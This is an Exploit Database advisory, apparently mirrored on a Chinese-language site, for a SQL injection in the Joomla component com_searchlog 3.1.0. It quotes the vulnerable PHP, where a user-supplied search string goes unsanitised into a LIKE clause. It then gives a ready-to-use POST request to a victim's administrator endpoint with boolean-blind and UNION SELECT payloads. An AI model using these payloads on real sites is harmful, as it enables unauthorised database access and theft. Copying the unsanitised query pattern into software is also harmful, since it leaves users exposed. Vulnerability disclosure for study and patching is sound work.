Joomla! Component Search Log 3.1.0 – SQL Injection

• Exploit Database
• 19 阅读

• 作者： d0lc3
  日期： 2010-06-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/13746/

• #Exploit Title:		Joomla Component com_searchlog SQL Injection
  
  #Date:			05/06/2010 
  
  #Author:		d0lc3	d0lc3x[at]gmail[dom]com
  
  #Software Link:		http://www.kanich.net/radio/site/searchlog/searchlog-download
  
  #Version:		3.1.0
  
  #Tested on:		Linux ubuntu32 2.6.32-22-generic x64
  
  #Summary:
  	
  
  	Good nights, at this occassionwe have other not-saned POST variable on 
  	administrator/components/com_searchlog/models/log.php, line 30:
  ...
  $search = $mainframe->getUserStateFromRequest($option . '.search', 'search', '', 'string');	//wtf!?
  $this->filter_actid = $mainframe->getUserStateFromRequest($option .'actid','actid',0,'int');
  $data->search = JString::strtolower($search);	//wtf!?
  $callbase = JRequest::getInt('callbase', 1);
  $newact =JRequest::getString('newact');
  $data->newact = "";
  if ($task=="" and $newact!="") {
  $data->newact = $newact;
  }if ($task == 'upload' or $task == 'savenew') {
  $data->sort = 'dates';
  $limitstart = 0;
  }else {
  $data->sort = JRequest::getVar('sort', 'calls');
  }if ($data->search) {
  $where[] = "(LOWER( m.call ) LIKE '$data->search%' OR LOWER( m.call ) LIKE '%/$data->search%')"; //likely SQLi
  ...
  
  	In order to exploit it, i advice programming script for it :P but if only you want try vuln, to change POST request on HTTP header:
  
  http://VICTIM/administrator/index.php?option=com_searchlog&act=log
  
  POST /administrator/index.php?option=com_searchlog&act=log HTTP/1.1
  Host: VICTIM
  Content-Type: application/x-www-form-urlencoded
  Content-Length: xxx
  search=[SQLi]
  &sort=calls&limit=20&limitstart=0&option=com_searchlog&act=log&task=&callbase=1&boxchecked=1&hidemainmenu=0
  
  	Where [SQLi] = someLogExisting') and 1=1# => true
  		 someLogExisting') and 1=2# => false
  
  	UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8#
  
  
  
  by r0iby r0iby r0iby r0iby r0iby r0iby r0iby r0iby r0iby r0iby r0iby r0i